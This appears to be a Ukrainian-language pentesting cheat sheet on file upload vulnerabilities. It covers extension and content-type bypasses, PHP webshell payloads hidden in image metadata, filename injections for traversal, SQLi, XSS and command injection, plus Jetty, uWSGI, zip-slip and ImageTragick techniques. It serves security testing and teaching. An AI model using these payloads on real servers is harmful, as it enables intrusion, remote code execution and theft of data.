File Upload
Якщо ви зацікавлені в кар'єрі в хакерстві та зломі незламного - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).
Загальна методологія завантаження файлів
Інші корисні розширення:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Працюючи в PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Обхід перевірок розширень файлів
Якщо вони застосовуються, перевірте попередні розширення. Також протестуйте їх, використовуючи деякі великі літери: pHp, .pHP5, .PhAr ...
Перевірте додавання дійсного розширення перед виконуваним розширенням (використовуйте також попередні розширення):
file.png.php
file.png.Php5
Спробуйте додати спеціальні символи в кінці. Ви можете використовувати Burp для брутфорсу всіх ascii та Unicode символів. (Зверніть увагу, що ви також можете спробувати використовувати раніше згадані розширення)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Спробуйте обійти захист, обманюючи парсер розширень на стороні сервера за допомогою технік, таких як подвоєння розширення або додавання сміттєвих даних (нульові байти) між розширеннями. Ви також можете використовувати попередні розширення для підготовки кращого корисного навантаження.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Додайте інший шар розширень до попередньої перевірки:
file.png.jpg.php
file.php%00.png%00.jpg
Спробуйте поставити виконуване розширення перед дійсним розширенням і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням .php, але не обов'язково закінчується на .php, буде виконувати код):
ex: file.php.png
Використання альтернативного потоку даних NTFS (ADS) у Windows. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено порожній файл з забороненим розширенням (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “::$data” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
Обхід перевірок Content-Type, Magic Number, Compression & Resizing
Обійдіть перевірки Content-Type, встановивши значення заголовка Content-Type на: image/png, text/plain, application/octet-stream_
Обійдіть перевірку magic number, додавши на початку файлу байти реального зображення (заплутати команду file). Або введіть оболонку всередину метаданих:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
або ви також можете ввести корисне навантаження безпосередньо в зображення:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Якщо компресія додається до вашого зображення, наприклад, за допомогою деяких стандартних бібліотек PHP, таких як PHP-GD, попередні техніки не будуть корисні. Однак ви можете використовувати техніку PLTE chunk визначену тут для вставки деякого тексту, який переживе компресію.
Веб-сторінка також може змінювати розмір зображення, використовуючи, наприклад, функції PHP-GD
imagecopyresized
абоimagecopyresampled
. Однак ви можете використовувати техніку IDAT chunk визначену тут для вставки деякого тексту, який переживе компресію.Інша техніка для створення корисного навантаження, яке переживе зміну розміру зображення, використовуючи функцію PHP-GD
thumbnailImage
. Однак ви можете використовувати техніку tEXt chunk визначену тут для вставки деякого тексту, який переживе компресію.
Інші трюки для перевірки
Знайдіть вразливість для перейменування вже завантаженого файлу (щоб змінити розширення).
Знайдіть вразливість Local File Inclusion для виконання бекдору.
Можливе розкриття інформації:
Завантажте декілька разів (і в один і той же час) той самий файл з тим самим ім'ям
Завантажте файл з ім'ям файлу або папки, яка вже існує
Завантажте файл з “.”, “..”, або “…” як його ім'я. Наприклад, в Apache на Windows, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
Завантажте файл, який може бути не легко видалити, наприклад, “…:.jpg” в NTFS. (Windows)
Завантажте файл у Windows з недійсними символами, такими як
|<>*?”
в його імені. (Windows)Завантажте файл у Windows, використовуючи зарезервовані (заборонені) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
Спробуйте також завантажити виконуваний (.exe) або .html (менш підозрілий), який виконає код, коли випадково відкриється жертвою.
Спеціальні трюки з розширеннями
Якщо ви намагаєтеся завантажити файли на PHP сервер, ознайомтеся з трюком .htaccess для виконання коду. Якщо ви намагаєтеся завантажити файли на ASP сервер, ознайомтеся з трюком .config для виконання коду.
Файли .phar
подібні до .jar
для java, але для php, і можуть бути використані як php файл (виконуючи його з php або включаючи його в скрипт...)
Розширення .inc
іноді використовується для php файлів, які використовуються лише для імпорту файлів, тому в якийсь момент хтось міг дозволити виконання цього розширення.
Jetty RCE
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати RCE, оскільки нові *.xml та *.war автоматично обробляються. Отже, як зазначено на наступному зображенні, завантажте XML файл до $JETTY_BASE/webapps/
і чекайте оболонку!
uWSGI RCE
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: uWSGI RCE Exploitation.
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації .ini
. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', який використовується як @(filename)
, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації .ini
.
Розгляньте наступний приклад шкідливого файлу uwsgi.ini
, що демонструє різні схеми:
Виконання корисного навантаження відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюване корисне навантаження може бути вставлено в бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
wget File Upload/SSRF Trick
В деяких випадках ви можете виявити, що сервер використовує wget
для завантаження файлів і ви можете вказати URL. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, цю перевірку можна обійти.
Максимальна довжина імені файлу в linux становить 255, однак wget обрізає імена файлів до 236 символів. Ви можете завантажити файл під назвою "A"*232+".php"+".gif", це ім'я файлу обійде перевірку (оскільки в цьому прикладі ".gif" є допустимим розширенням), але wget
перейменує файл в "A"*232+".php".
Зверніть увагу, що інший варіант, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб HTTP сервер перенаправляв на інший файл, тому початкова URL-адреса обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це не спрацює якщо wget не використовується з параметром --trust-server-names
, оскільки wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальній URL-адресі.
Інструменти
Upload Bypass - це потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
Від завантаження файлів до інших вразливостей
Встановіть filename на
../../../tmp/lol.png
і спробуйте досягти перетворення шляхуВстановіть filename на
sleep(10)-- -.jpg
і ви можете досягти SQL-ін'єкціїВстановіть filename на
<svg onload=alert(document.domain)>
, щоб досягти XSSВстановіть filename на
; sleep 10;
, щоб протестувати деякі ін'єкції команд (більше триків ін'єкцій команд тут)JS файл завантаження + XSS = експлуатація сервісних працівників
Спробуйте різні svg payloads з https://github.com/allanlw/svg-cheatsheet****
Якщо ви можете вказати веб-серверу, щоб отримати зображення з URL, ви можете спробувати зловживати SSRF. Якщо це зображення буде збережено на деякому публічному сайті, ви також можете вказати URL з https://iplogger.org/invisible/ і вкрасти інформацію про кожного відвідувача.
Спеціально підготовлені PDF для XSS: наступна сторінка показує, як впровадити PDF-дані для отримання виконання JS. Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
Завантажте [eicar](https://secure.eicar.org/eicar.com.txt) вміст, щоб перевірити, чи є на сервері якийсь антивірус
Перевірте, чи є якийсь обмеження за розміром при завантаженні файлів
Ось топ-10 речей, які ви можете досягти, завантажуючи (з тут):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Збережений XSS / SSRF / XXE
GIF: Збережений XSS / SSRF
CSV: CSV-ін'єкція
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML-ін'єкція / XSS / Відкрите перенаправлення
PNG / JPEG: Атака піксельного затоплення (DoS)
ZIP: RCE через LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
Розширення Burp
Магічні байти заголовка
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
Дивіться https://en.wikipedia.org/wiki/List_of_file_signatures для інших типів файлів.
Автоматично розпаковане завантаження Zip/Tar
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
Символьне посилання
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
Розпакування в різні папки
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Автоматизований експлойт для створення таких файлів доступний на evilarc на GitHub. Утиліту можна використовувати, як показано:
Додатково, symlink трюк з evilarc є варіантом. Якщо мета полягає в тому, щоб націлитися на файл, наприклад, /flag.txt
, слід створити symlink на цей файл у вашій системі. Це забезпечує, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад коду Python, який використовується для створення шкідливого zip-файлу:
Зловживання стисненням для спрейінгу файлів
Для отримання додаткової інформації перегляньте оригінальну публікацію за посиланням: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Створення PHP Shell: PHP код написаний для виконання команд, переданих через змінну
$_REQUEST
.
Спрайінг файлів та створення стиснутого файлу: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
Модифікація за допомогою Hex Editor або vi: Імена файлів всередині zip змінюються за допомогою vi або hex-редактора, змінюючи "xxA" на "../" для переходу між каталогами.
ImageTragic
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість (ImageMagick , 7.0.1-1) (з експлойту)
Вбудовування PHP Shell у PNG
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції imagecopyresized
та imagecopyresampled
з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надається в наступній статті: "Кодування веб-оболонок у частинах PNG IDAT". Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Більше інформації за адресою: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Поліглотні файли
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є GIFAR, гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації за адресою: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Посилання
Якщо ви зацікавлені в кар'єрі в хакерстві та в тому, щоб зламати незламне - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).
Last updated